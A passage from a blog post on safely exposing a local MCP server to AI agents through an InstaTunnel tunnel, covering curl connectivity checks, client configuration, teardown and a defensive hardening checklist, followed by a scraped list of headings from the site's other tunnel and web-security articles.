curl -i -X POST https://acme-mcp-dev.instatunnel.my/mcp \
  -H "Content-Type: application/json" \
  -H "Accept: application/json, text/event-stream" \
  -d '{"jsonrpc":"2.0","id":1,"method":"tools/list"}'

Then check that an authenticated request works (add the staged header if your setup requires it):

curl -i -X POST https://acme-mcp-dev.instatunnel.my/mcp \
  -H "Authorization: Bearer $MCP_TOKEN" \
  -H "Content-Type: application/json" \
  -H "Accept: application/json, text/event-stream" \
  -d '{"jsonrpc":"2.0","id":1,"method":"tools/list"}'

The SDK’s own example shows a tools/list reply arriving as a single SSE message event. Real MCP clients built on the SDK also send the MCP-Protocol-Version and Mcp-Method headers on their own.

Step 6: Point an MCP client at it

The InstaTunnel README gives this shape for IDE or client settings. Key names vary by client, so check yours:

{
  "mcpServers": {
    "instatunnel-remote": {
      "type": "streamable-http",
      "url": "https://acme-mcp-dev.instatunnel.my/mcp",
      "headers": {
        "Authorization": "Bearer YOUR_MCP_TOKEN"
      }
    }
  }
}

Never put the token in the URL. The spec forbids access tokens in query strings, and URLs leak into logs and history.

Step 7: Tear it down

Stop the tunnel with Ctrl+C or instatunnel --kill acme-mcp-dev, then stop the server. Rotate both secrets before the next session.

Hardening Checklist

Bind to loopback and validate Host and Origin, as the spec requires.
Require authentication on every request. For anything beyond a short dev session, use OAuth 2.1 with audience validation.
Never forward a client’s token to a downstream API.
Rate-limit at the entry point, in front of or alongside the token check, to slow brute-force guessing. InstaTunnel’s README says MCP traffic gets stricter limits at the edge, but don’t treat that as your only throttle.
Minimize tools. Disable write, delete and shell-execution tools unless the test needs them, and constrain inputs with schemas. Review tool descriptions as you would code.
Run the server unprivileged, ideally in a container or a dedicated user account with only the files the test needs.
Keep a human in the loop for sensitive tool calls where the client supports it.
Watch the traffic. Use instatunnel --logs (Pro/Business) and your own server logs.
Keep tunnels short-lived, and rotate tokens after each session.
Keep dependencies current. MCP tooling has had serious CVEs, including the Inspector issue above.

Conclusion

Testing agents against local MCP servers is practical, as long as you treat the tunnel as publishing an endpoint with your privileges behind it. Use the official SDK so the transport and headers match the spec. Bind to loopback, validate Host and Origin, and require a bearer token in your own server. Add InstaTunnel’s staged token header as an extra outer gate, but verify how it behaves rather than assuming. Expose the smallest set of tools that does the job, and close the tunnel when the test is over.

Sources

Originally published at https://instatunnel.my/blog/local-first-ai-agent-testing-how-to-expose-local-mcp-servers-safely-without-compromising-host-security

DEV Community: InstaTunnel

“Blocked request. This host is not allowed”: The Host-Header Allowlist Cheat Sheet for Vite, Rails, Django, Angular

Why dev servers check the Host header at all

Quick diagnosis: which layer is rejecting you?

Wildcard semantics at a glance

Vite: server.allowedHosts

Rails: config.hosts

Django: ALLOWED_HOSTS

Angular: allowedHosts in angular.json

Next.js: allowedDevOrigins

Why a stable subdomain means you configure it once

The allowedHosts: true trap

A copy-paste checklist

FAQ

Why does my app work on localhost but not through a tunnel?

Is allowedHosts: true ever acceptable?

Do I need to allow the port as well?

The error mentions vite.config.js but my framework has none. What now?

Does this affect production?

References

Certificate Lifetimes Are Shrinking: What 64-Day and 45-Day TLS Means for Custom Domains on Tunnels

The Timeline: What Is Actually Changing and When

1. The CA/Browser Forum schedule (applies to every public CA)

2. The Let’s Encrypt schedule (the CA most tunnel and ACME setups use)

Why Tunnel Custom Domains Are a Special Case

Provider-Managed Certificates: Convenient, Not Invisible

Bring Your Own Certificates: Control With a Rotation Tax

What Breaks When Renewal Silently Fails

Renewal Timing: Stop Using Fixed Offsets

DNS Verification Under Shorter Lifetimes

HTTP-01 vs DNS-01

Delegate the challenge instead of sharing DNS keys

DNS-PERSIST-01: a new option to watch

A Practical Checklist for Custom Domains on Tunnels

Provider-Managed or BYO? A Quick Decision Guide

Where Pro Custom Domains Fit

Frequently Asked Questions

Key Takeaways

Sources

Path Normalization at the Tunnel Edge: Why a Route Matches on localhost but Not Through a Tunnel

What Cloudflare announced

What gets normalized, and what doesn't

Why localhost and a tunnel disagree

The path-confusion auth bypass, step by step

The four inputs to test

Dot segments (/../ and /./)

Double slashes (//)

Trailing slashes (/admin vs /admin/)

Encoded slashes (%2F) and friends

A test matrix you can run today

Rollout checklist before 2027-01-25

FAQ

Sources

Certificate Transparency Leaks: Why Your "Secret" Tunnel URL Isn't Secret

What Certificate Transparency Is (and Why It Exists)

How Fast Do Scanners Find a New Hostname?

The Late-September Quick Tunnels Warning

Per-Subdomain Certificates vs. Wildcard Certificates

Wildcards Hide the Name From CT, Not From Everyone

Why a Random URL Is Not Access Control

What Actually Protects a Dev Tunnel

Frequently Asked Questions

The Bottom Line

Sources

Signed, Sealed, Mangled: Why Webhook Signatures Fail Behind a Tunnel

How webhook signatures work

Failure #1: raw body versus re-serialized JSON

What “mangled” looks like

The Express trap

Where the tunnel comes in

Failure #2: timestamp tolerance

Why tunnels make timestamp failures likelier

A Standard Webhooks gotcha

Failure #3: Twilio signs the full URL

What breaks the URL behind a tunnel

JSON bodies and bodySHA256

The safest fix

A ten-minute debugging checklist

Tools worth knowing in late 2026

Production hardening

Vite: `server.allowedHosts`

Rails: `config.hosts`

Django: `ALLOWED_HOSTS`

Angular: `allowedHosts` in `angular.json`

Next.js: `allowedDevOrigins`

The `allowedHosts: true` trap

Is `allowedHosts: true` ever acceptable?

The error mentions `vite.config.js` but my framework has none. What now?

Dot segments (`/../` and `/./`)

Double slashes (`//`)

Trailing slashes (`/admin` vs `/admin/`)

Encoded slashes (`%2F`) and friends

JSON bodies and `bodySHA256`

What `--allowed-mail` actually adds